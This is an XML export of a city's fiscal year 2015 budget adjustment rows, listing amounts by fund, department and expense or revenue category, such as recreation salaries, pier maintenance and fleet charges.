<row _id="15707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="15708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>75.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75.0</total></row>
<row _id="15709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>194447.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>194447.0</total></row>
<row _id="15710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6102.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6102.0</total></row>
<row _id="15711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11030.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11030.0</total></row>
<row _id="15712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401590.0</object><object_description>PLANNING PRESUBMITTAL REVIEW</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-9461.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9461.0</total></row>
<row _id="15713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404320.0</object><object_description>PARAMEDIC SKILLED NURSING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="15714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5985.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5985.0</total></row>
<row _id="15715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556110.0</object><object_description>DECEDENT TRANSPORTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="15716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3054.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3054.0</total></row>
<row _id="15717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="15718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="15719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7147.0</total></row>
<row _id="15720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>114270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>114270.0</total></row>
<row _id="15721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2601.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2601.0</total></row>
<row _id="15722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>48010.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48010.0</total></row>
<row _id="15723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7010.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7010.0</total></row>
<row _id="15724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1281.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1281.0</total></row>
<row _id="15725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3300.0</total></row>
<row _id="15726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-192000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-192000.0</total></row>
<row _id="15727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405750.0</object><object_description>VEHICLE MAINTENANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-5178762.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5178762.0</total></row>
<row _id="15728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>49666.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49666.0</total></row>
<row _id="15729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>214.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>214.0</total></row>
<row _id="15730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="15731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>288.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>288.0</total></row>
<row _id="15732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="15733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>129990.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>129990.0</total></row>
<row _id="15734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>70.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70.0</total></row>
<row _id="15735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>467581.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>467581.0</total></row>
<row _id="15736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="15737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="15738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29400.0</total></row>
<row _id="15739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>140.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140.0</total></row>
<row _id="15740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544171.0</object><object_description>PARTICIPANT UNIFORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22800.0</total></row>
<row _id="15742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>76103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76103.0</total></row>
<row _id="15743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2724.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2724.0</total></row>
<row _id="15744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1800.0</total></row>
<row _id="15745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>150000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="15746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407220.0</object><object_description>NEIGHBOR NOTIFICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-14600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14600.0</total></row>
<row _id="15747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5240.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5240.0</total></row>
<row _id="15748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="15749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="15750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1329.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1329.0</total></row>
<row _id="15751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>744.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>744.0</total></row>
<row _id="15752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1474.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1474.0</total></row>
<row _id="15753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="15754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>110.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110.0</total></row>
